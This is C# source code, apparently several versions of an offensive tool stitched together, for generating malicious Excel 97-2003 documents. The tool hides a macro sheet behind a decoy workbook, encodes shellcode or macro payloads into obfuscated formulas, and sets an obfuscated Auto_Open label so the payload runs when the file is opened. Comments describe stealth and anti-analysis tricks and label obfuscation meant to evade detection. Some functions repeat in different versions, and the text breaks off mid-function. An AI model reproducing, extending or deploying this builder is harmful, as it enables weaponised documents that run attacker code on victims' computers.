private static List <Formula> GetCharFormulasForString(string str, int curRow, int curCol, SheetPackingMethod packingMethod) { List <Formula> charFormulas = new List <Formula>(); if (packingMethod == SheetPackingMethod.ArgumentSubroutines) { Formula macroFormula = ConvertStringToMacroFormula(str, curRow, curCol); charFormulas.Add(macroFormula); } else { foreach (char c in str) { Stack <AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod); ushort charValue = Convert.ToUInt16(c); if (charValue > 0xFF) { ptgStack = new Stack <AbstractPtg>(); ptgStack.Push(new PtgStr("" + c, true)); } Cell curCell = new Cell(curRow, curCol); Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); byte[] formulaBytes = charFrm.GetBytes(); charFormulas.Add(charFrm); curRow += 1; } } return(charFormulas); }
public static Stack <AbstractPtg> GetPtgStackForChar(char c, SheetPackingMethod packingMethod) { switch (packingMethod) { case SheetPackingMethod.ObfuscatedCharFunc: return(GetObfuscatedCharPtgForInt(Convert.ToUInt16(c))); case SheetPackingMethod.ObfuscatedCharFuncAlt: return(GetCharPtgForInt(Convert.ToUInt16(c))); case SheetPackingMethod.CharSubroutine: //For now assume the appropriate label is at offset 1 (first lbl record) return(GetCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, 1)); case SheetPackingMethod.AntiAnalysisCharSubroutine: //For now assume the appropriate label is at offset 1 (first lbl record) return(GetAntiAnalysisCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, UnicodeHelper.DecoyVarName, 1)); case SheetPackingMethod.ArgumentSubroutines: //For now assume the appropriate label is at offset 1 (first lbl record) return(GetCharSubroutineWithArgsForInt(Convert.ToUInt16(c), 1)); default: throw new NotImplementedException(); } }
public WorkbookStream SetMacroBinaryContent(byte[] payload, int rwStart, int colStart, int dstRwStart, int dstColStart, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadPackingMethod = PayloadPackingMethod.MatchSheetPackingMethod) { List <string> payloadMacros; List <BiffRecord> formulasToAdd = new List <BiffRecord>(); if (payloadPackingMethod == PayloadPackingMethod.MatchSheetPackingMethod) { payloadMacros = FormulaHelper.BuildPayloadMacros(payload); formulasToAdd.AddRange(FormulaHelper.ConvertStringsToRecords(payloadMacros, rwStart, colStart, dstRwStart, dstColStart, 15, packingMethod)); } else if (payloadPackingMethod == PayloadPackingMethod.Base64) { payloadMacros = FormulaHelper.BuildBase64PayloadMacros(payload); formulasToAdd = FormulaHelper.ConvertBase64StringsToRecords(payloadMacros, rwStart, colStart); } WorkbookStream macroStream = GetMacroStream(); try { BiffRecord lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last(); // If we are using base64 packing, we write STRING entries after our formulas, so check for that first if (payloadPackingMethod == PayloadPackingMethod.Base64) { try { lastFormulaInSheet = macroStream.GetAllRecordsByType <STRING>().Last(); } catch { lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last(); } } WorkbookStream modifiedStream = WbStream.InsertRecords(formulasToAdd, lastFormulaInSheet); WbStream = modifiedStream; return(modifiedStream); } catch (Exception) { throw new ArgumentException( "SetMacroBinaryContent must be called on a stream with at least 1 existing Formula Record"); } }
public static Stack <AbstractPtg> GetPtgStackForChar(char c, SheetPackingMethod packingMethod) { switch (packingMethod) { case SheetPackingMethod.ObfuscatedCharFunc: return(GetObfuscatedCharPtgForInt(Convert.ToUInt16(c))); case SheetPackingMethod.ObfuscatedCharFuncAlt: return(GetCharPtgForInt(Convert.ToUInt16(c))); case SheetPackingMethod.CharSubroutine: //For now assume that the var name "var" is used, and the appropriate label is at offset 1 (first lbl record) return(GetCharSubroutineForInt(Convert.ToUInt16(c), "var", 1)); default: throw new NotImplementedException(); } }
public WorkbookStream SetMacroBinaryContent(byte[] payload, int rwStart, int colStart, int dstRwStart, int dstColStart, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { List <string> payloadMacros = FormulaHelper.BuildPayloadMacros(payload); List <BiffRecord> formulasToAdd = new List <BiffRecord>(); formulasToAdd.AddRange(FormulaHelper.ConvertStringsToRecords(payloadMacros, rwStart, colStart, dstRwStart, dstColStart, 15, packingMethod)); WorkbookStream macroStream = GetMacroStream(); try { BiffRecord lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last(); WorkbookStream modifiedStream = WbStream.InsertRecords(formulasToAdd, lastFormulaInSheet); WbStream = modifiedStream; return(modifiedStream); } catch (Exception) { throw new ArgumentException( "SetMacroBinaryContent must be called on a stream with at least 1 existing Formula Record"); } }
public static List <BiffRecord> ConvertChunkedStringToFormulas(List <string> chunkedString, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { List <BiffRecord> formulaList = new List <BiffRecord>(); List <Cell> concatCells = new List <Cell>(); int curRow = rwStart; int curCol = colStart; foreach (string str in chunkedString) { List <Cell> createdCells = new List <Cell>(); //TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature foreach (char c in str) { Stack <AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod); ushort charValue = Convert.ToUInt16(c); if (charValue > 0xFF) { ptgStack = new Stack <AbstractPtg>(); ptgStack.Push(new PtgStr("" + c, true)); } Cell curCell = new Cell(curRow, curCol, ixfe); createdCells.Add(curCell); Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); byte[] formulaBytes = charFrm.GetBytes(); formulaList.Add(charFrm); curRow += 1; } Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol); concatCells.Add(new Cell(curRow, curCol, ixfe)); formulaList.Add(concatFormula); curRow += 1; } Formula concatConcatFormula = BuildConcatCellsFormula(concatCells, curRow, curCol); formulaList.Add(concatConcatFormula); curRow += 1; Stack <AbstractPtg> formulaPtgStack = new Stack <AbstractPtg>(); PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE); formulaPtgStack.Push(srcCell); Random r = new Random(); int randomBitStuffing = r.Next(1, 32) * 0x100; PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false); formulaPtgStack.Push(destCell); PtgFuncVar funcVar = new PtgFuncVar(CetabValues.FORMULA, 2); formulaPtgStack.Push(funcVar); Formula formula = new Formula(new Cell(curRow, curCol, ixfe), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(formulaPtgStack)); formulaList.Add(formula); return(formulaList); }
public static List <BiffRecord> ConvertMaxLengthStringToFormulas(string curString, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { string actualString = new string(curString.Skip(FormulaHelper.TOOLONGMARKER.Length).ToArray()); string earlyString = new string(actualString.Take(16).ToArray()); string remainingString = new string(actualString.Skip(16).ToArray()); List <BiffRecord> formulas = new List <BiffRecord>(); int curRow = rwStart; int curCol = colStart; Random r = new Random(); int rndCol = r.Next(0x90, 0x9F); int rndRw = r.Next(0xF000, 0xF800); formulas.AddRange(ConvertStringToFormulas(remainingString, curRow, curCol, rndRw, rndCol, ixfe, packingMethod)); curRow += formulas.Count; Cell remainderCell = new Cell(rndRw, rndCol); List <Cell> createdCells = new List <Cell>(); //Create a formula string like //"=CHAR(123)&CHAR(234)&CHAR(345)&R[RandomRw]C[RandomCol]"; //To split the 255 bytes into multiple cells - the first few bytes are CHAR() encoded, the remaining can be wrapped in ""s string macroString = "="; foreach (char c in earlyString) { macroString += string.Format("CHAR({0})&", Convert.ToUInt16(c)); } macroString += string.Format("R{0}C{1}", rndRw + 1, rndCol + 1); createdCells.Add(remainderCell); List <BiffRecord> mainFormula = ConvertStringToFormulas(macroString, curRow, curCol, dstRw, dstCol, ixfe, packingMethod); formulas.AddRange(mainFormula); return(formulas); }
public static List <BiffRecord> ConvertStringsToRecords(List <string> strings, int rwStart, int colStart, int dstRwStart, int dstColStart, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { List <BiffRecord> formulaList = new List <BiffRecord>(); int curRow = rwStart; int curCol = colStart; int dstCurRow = dstRwStart; int dstCurCol = dstColStart; //TODO [Anti-Analysis] Break generated formula apart with different RUN()/GOTO() actions foreach (string str in strings) { string[] rowStrings = str.Split(MacroPatterns.MacroColumnSeparator); List <BiffRecord> stringFormulas = new List <BiffRecord>(); for (int colOffset = 0; colOffset < rowStrings.Length; colOffset += 1) { //Skip empty strings if (rowStrings[colOffset].Trim().Length == 0) { continue; } string rowString = rowStrings[colOffset]; int maxCellLength = 0x2000; //One Char can take up to 8 bytes int concatCharLength = 8; List <BiffRecord> formulas; if ((rowString.Length * concatCharLength) > maxCellLength) { //Given that the max actual length for a cell is 255 bytes, this is unlikely to ever be used, //but the logic is being kept in case there are edge cases or there ends up being a workaround //for the limitation List <string> chunks = rowString.SplitStringIntoChunks(250); formulas = ConvertChunkedStringToFormulas(chunks, curRow, curCol, dstCurRow, dstCurCol, ixfe, packingMethod); } else { string curString = rowStrings[colOffset]; //If the string is technically 255 bytes, but needs additional encoding, we break it into two parts: //ex: "=123456" becomes "=CHAR(=)&CHAR(1)&CHAR(2)&CHAR(3)&RandomCell" and =RandomVarName&"456" if (curString.StartsWith(FormulaHelper.TOOLONGMARKER)) { formulas = ConvertMaxLengthStringToFormulas(curString, curRow, curCol, dstCurRow, dstCurCol + colOffset, ixfe, packingMethod); } else { formulas = ConvertStringToFormulas(rowStrings[colOffset], curRow, curCol, dstCurRow, dstCurCol + colOffset, ixfe, packingMethod); } } stringFormulas.AddRange(formulas); //If we're starting to get close to the max rowcount (0xFFFF in XLS), then move to the next row if (curRow > 0xE000) { Formula nextRowFormula = FormulaHelper.GetGotoFormulaForCell(curRow + formulas.Count, curCol, 0, curCol + 1); stringFormulas.Add(nextRowFormula); curRow = 0; curCol += 1; } else { curRow += formulas.Count; } } dstCurRow += 1; formulaList.AddRange(stringFormulas); } return(formulaList); }
private static List <BiffRecord> BuildFORMULAFunctionCall(List <Cell> createdCells, int curRow, int curCol, int dstRw, int dstCol, SheetPackingMethod packingMethod, bool instaEval) { List <BiffRecord> formulaList = new List <BiffRecord>(); Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol); formulaList.Add(concatFormula); curRow += 1; PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE); Random r = new Random(); int randomBitStuffing = r.Next(1, 32) * 0x100; PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false); Formula formula = GetFormulaInvocation(srcCell, destCell, curRow, curCol, packingMethod, instaEval); formulaList.Add(formula); return(formulaList); }
private static Formula GetFormulaInvocation(PtgRef srcCell, PtgRef destCell, int curRow, int curCol, SheetPackingMethod packingMethod, bool instaEval) { Stack <AbstractPtg> formulaPtgStack = new Stack <AbstractPtg>(); if (packingMethod == SheetPackingMethod.ArgumentSubroutines) { if (instaEval == false) { // The Formula Call is currently hardcoded to index 2 formulaPtgStack.Push(new PtgName(2)); } else { // The Instant Evaluation Formula Call is currently hardcoded to index 6 formulaPtgStack.Push(new PtgName(6)); } } formulaPtgStack.Push(srcCell); formulaPtgStack.Push(destCell); if (packingMethod == SheetPackingMethod.ArgumentSubroutines) { PtgFuncVar funcVar = new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 3, AbstractPtg.PtgDataType.VALUE); formulaPtgStack.Push(funcVar); } else { PtgFuncVar funcVar = new PtgFuncVar(CetabValues.FORMULA, 2); formulaPtgStack.Push(funcVar); } Formula formula = new Formula(new Cell(curRow, curCol), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(formulaPtgStack)); return(formula); }
/// <summary> /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument. /// </summary> /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param> /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param> /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param> /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param> /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param> /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param> /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param> /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param> public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble, PayloadType payloadType = PayloadType.Shellcode, string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false, SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc) { if (decoyDocument == null || payload == null) { Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions."); return; } //Useful for remote debugging if (debugMode) { Console.WriteLine("Waiting for debugger to attach"); while (!Debugger.IsAttached) { Thread.Sleep(100); } Console.WriteLine("Debugger attached"); } List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords(); string decoyDocPath = decoyDocument.FullName; WorkbookStream wbs = LoadDecoyDocument(decoyDocPath); List <string> preambleCode = new List <string>(); if (preamble != null) { string preambleCodePath = new FileInfo(preamble).FullName; preambleCode = new List <string>(File.ReadAllLines(preambleCodePath)); } if (wbs.GetAllRecordsByType <SupBook>().Count > 0) { throw new NotImplementedException("Please use a decoy document with no existing Labels."); } WorkbookEditor wbe = new WorkbookEditor(wbs); wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden); List <string> macros = null; byte[] binaryPayload = null; byte[] binary64Payload = null; //TODO make this customizable int rwStart = 0; int colStart = 0xA0; int dstRwStart = 0; int dstColStart = 0; int curRw = rwStart; int curCol = colStart; switch (payloadType) { case PayloadType.Shellcode: macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName); binaryPayload = File.ReadAllBytes(payload.FullName); if (payload64Bit != null && payload64Bit.Exists) { binary64Payload = File.ReadAllBytes(payload64Bit.FullName); } break; case PayloadType.Macro: macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList()); break; default: throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType), "payloadType"); } if (binaryPayload != null && binaryPayload.Length > 0) { wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } if (binary64Payload != null && binary64Payload.Length > 0) { wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName); } } wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method); if (method == SheetPackingMethod.CharSubroutine) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true); wbe.AddLabel("\u0000\u0000\u0000\u0000\u0000\u0000var", null, true, true); //Using lblIndex 2, since that what var has set for us wbe.AddFormula( FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2)); } wbe.AddLabel("Auto_Open", rwStart, colStart); wbe.ObfuscateAutoOpen(); ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing generated document to {0}", outputPath); writer.WriteDocument(outputPath, wbe.WbStream); }
private static List <BiffRecord> ConvertStringToFormulas(string str, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { List <BiffRecord> formulaList = new List <BiffRecord>(); List <Cell> createdCells = new List <Cell>(); int curRow = rwStart; int curCol = colStart; bool instaEval = false; if (str.StartsWith(MacroPatterns.InstaEvalMacroPrefix)) { if (packingMethod != SheetPackingMethod.ArgumentSubroutines) { throw new NotImplementedException("Must use ArgumentSubroutines Sheet Packing for InstaEval"); } instaEval = true; str = str.Replace(MacroPatterns.InstaEvalMacroPrefix, ""); } List <Formula> charFormulas = GetCharFormulasForString(str, curRow, curCol, packingMethod); formulaList.AddRange(charFormulas); curRow += charFormulas.Count; createdCells = charFormulas.Select(formula => new Cell(formula.rw, formula.col, ixfe)).ToList(); List <BiffRecord> formulaInvocationRecords = BuildFORMULAFunctionCall(createdCells, curRow, curCol, dstRw, dstCol, packingMethod, instaEval); formulaList.AddRange(formulaInvocationRecords); return(formulaList); }
public static List <BiffRecord> ConvertChunkedStringToFormulas(List <string> chunkedString, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { bool instaEval = false; if (chunkedString[0].StartsWith(MacroPatterns.InstaEvalMacroPrefix)) { if (packingMethod != SheetPackingMethod.ArgumentSubroutines) { throw new NotImplementedException("Must use ArgumentSubroutines Sheet Packing for InstaEval"); } instaEval = true; chunkedString[0] = chunkedString[0].Replace(MacroPatterns.InstaEvalMacroPrefix, ""); } List <BiffRecord> formulaList = new List <BiffRecord>(); List <Cell> concatCells = new List <Cell>(); int curRow = rwStart; int curCol = colStart; foreach (string str in chunkedString) { List <Cell> createdCells = new List <Cell>(); //TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature foreach (char c in str) { Stack <AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod); ushort charValue = Convert.ToUInt16(c); if (charValue > 0xFF) { ptgStack = new Stack <AbstractPtg>(); ptgStack.Push(new PtgStr("" + c, true)); } Cell curCell = new Cell(curRow, curCol, ixfe); createdCells.Add(curCell); Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); byte[] formulaBytes = charFrm.GetBytes(); formulaList.Add(charFrm); curRow += 1; } Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol); concatCells.Add(new Cell(curRow, curCol, ixfe)); formulaList.Add(concatFormula); curRow += 1; } Formula concatConcatFormula = BuildConcatCellsFormula(concatCells, curRow, curCol); formulaList.Add(concatConcatFormula); curRow += 1; PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE); Random r = new Random(); int randomBitStuffing = r.Next(1, 32) * 0x100; PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false); Formula formula = GetFormulaInvocation(srcCell, destCell, curRow, curCol, packingMethod, instaEval); formulaList.Add(formula); return(formulaList); }
public WorkbookStream SetMacroSheetContent(List <string> macroStrings, int rwStart = 0, int colStart = 0, int dstRwStart = 0, int dstColStart = 0, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { WorkbookStream macroStream = GetMacroStream(); //The macro sheet template contains a single formula record to replace Formula replaceMeFormula = macroStream.GetAllRecordsByType <Formula>().First(); //ixfe default cell value is 15 List <BiffRecord> formulasToAdd = FormulaHelper.ConvertStringsToRecords(macroStrings, rwStart, colStart, dstRwStart, dstColStart, 15, packingMethod); int lastGotoCol = formulasToAdd.Last().AsRecordType <Formula>().col; int lastGotoRow = formulasToAdd.Last().AsRecordType <Formula>().rw + 1; Formula gotoFormula = FormulaHelper.GetGotoFormulaForCell(lastGotoRow, lastGotoCol, dstRwStart, dstColStart); WorkbookStream modifiedStream = WbStream.ReplaceRecord(replaceMeFormula, gotoFormula); modifiedStream = modifiedStream.InsertRecords(formulasToAdd, gotoFormula); WbStream = modifiedStream; return(WbStream); }
private static List <BiffRecord> ConvertStringToFormulas(string str, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { List <BiffRecord> formulaList = new List <BiffRecord>(); List <Cell> createdCells = new List <Cell>(); int curRow = rwStart; int curCol = colStart; //TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature foreach (char c in str) { Stack <AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod); ushort charValue = Convert.ToUInt16(c); if (charValue > 0xFF) { ptgStack = new Stack <AbstractPtg>(); ptgStack.Push(new PtgStr("" + c, true)); } Cell curCell = new Cell(curRow, curCol, ixfe); createdCells.Add(curCell); Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); byte[] formulaBytes = charFrm.GetBytes(); formulaList.Add(charFrm); curRow += 1; } List <BiffRecord> formulaInvocationRecords = BuildFORMULAFunctionCall(createdCells, curRow, curCol, dstRw, dstCol); formulaList.AddRange(formulaInvocationRecords); return(formulaList); }
/// <summary> /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument. /// </summary> /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param> /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param> /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param> /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param> /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param> /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param> /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param> /// <param name="password">Password to encrypt document using XOR Obfuscation.</param> /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param> public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble, PayloadType payloadType = PayloadType.Shellcode, string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false, SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, string password = "") { if (decoyDocument == null || payload == null) { Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions."); return; } //Useful for remote debugging if (debugMode) { Console.WriteLine("Waiting for debugger to attach"); while (!Debugger.IsAttached) { Thread.Sleep(100); } Console.WriteLine("Debugger attached"); } List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords(); string decoyDocPath = decoyDocument.FullName; WorkbookStream wbs = LoadDecoyDocument(decoyDocPath); List <string> preambleCode = new List <string>(); if (preamble != null) { string preambleCodePath = new FileInfo(preamble).FullName; preambleCode = new List <string>(File.ReadAllLines(preambleCodePath)); } if (wbs.GetAllRecordsByType <SupBook>().Count > 0) { throw new NotImplementedException("Please use a decoy document with no existing Labels."); } WorkbookEditor wbe = new WorkbookEditor(wbs); wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden); List <string> macros = null; byte[] binaryPayload = null; byte[] binary64Payload = null; //TODO make this customizable int rwStart = 0; int colStart = 0xA0; int dstRwStart = 0; int dstColStart = 0; int curRw = rwStart; int curCol = colStart; switch (payloadType) { case PayloadType.Shellcode: macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName); binaryPayload = File.ReadAllBytes(payload.FullName); if (payload64Bit != null && payload64Bit.Exists) { binary64Payload = File.ReadAllBytes(payload64Bit.FullName); } break; case PayloadType.Macro: macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList()); break; default: throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType), "payloadType"); } if (binaryPayload != null && binaryPayload.Length > 0) { wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } if (binary64Payload != null && binary64Payload.Length > 0) { wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName); } } wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method); if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true); //Abuse a few comparison "features" in Excel //1. Null bytes are ignored at the beginning and start of a label. //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325) //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true); //Using lblIndex 2, since that what var has set for us wbe.AddFormula( FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2)); } wbe.AddLabel("Auto_Open", rwStart, colStart); wbe.ObfuscateAutoOpen(); WorkbookStream createdWorkbook = wbe.WbStream; if (!string.IsNullOrEmpty(password)) { Console.WriteLine("Encrypting Document with Password " + password); XorObfuscation xorObfuscation = new XorObfuscation(); createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password); // createdWorkbook = createdWorkbook.FixBoundSheetOffsets(); } ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing generated document to {0}", outputPath); writer.WriteDocument(outputPath, createdWorkbook); }
/// <summary> /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument. /// </summary> /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param> /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param> /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param> /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param> /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param> /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param> /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param> /// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the Base64 for encoding.</param> /// <param name="password">Password to encrypt document using XOR Obfuscation.</param> /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param> /// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param> /// <param name="noLabelObfuscation">Use this flag to disable Unicode obfuscation of the Auto_Open label. Recommended for when targeting a non-windows OS, or if a non-US version of Excel isn't triggering the event</param> public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble, PayloadType payloadType = PayloadType.Shellcode, string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false, SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.Base64, string password = "", string localizedLabel = "Auto_Open", bool noLabelObfuscation = false) { if (decoyDocument == null || payload == null) { Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions."); return; } //Useful for remote debugging if (debugMode) { Console.WriteLine("Waiting for debugger to attach"); while (!Debugger.IsAttached) { Thread.Sleep(100); } Console.WriteLine("Debugger attached"); } List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords(); string decoyDocPath = decoyDocument.FullName; WorkbookStream wbs = LoadDecoyDocument(decoyDocPath); List <string> sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList(); VBAInfo vbaInfo = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames); List <string> preambleCode = new List <string>(); if (preamble != null) { string preambleCodePath = new FileInfo(preamble).FullName; preambleCode = new List <string>(File.ReadAllLines(preambleCodePath)); } WorkbookEditor wbe = new WorkbookEditor(wbs); wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden); List <string> macros = null; byte[] binaryPayload = null; byte[] binary64Payload = null; //TODO make this customizable int rwStart = 0; int colStart = 0xA0; int dstRwStart = 0; int dstColStart = 0; int curRw = rwStart; int curCol = colStart; switch (payloadType) { case PayloadType.Shellcode: macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName); binaryPayload = File.ReadAllBytes(payload.FullName); if (payload64Bit != null && payload64Bit.Exists) { binary64Payload = File.ReadAllBytes(payload64Bit.FullName); } break; case PayloadType.Macro: macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList()); //Prepend the preamble to the imported pattern macros = preambleCode.Concat(macros).ToList(); break; default: throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType), "payloadType"); } if (binaryPayload != null && binaryPayload.Length > 0) { if (payloadMethod == PayloadPackingMethod.Base64) { wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod); } else { wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method); } curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } if 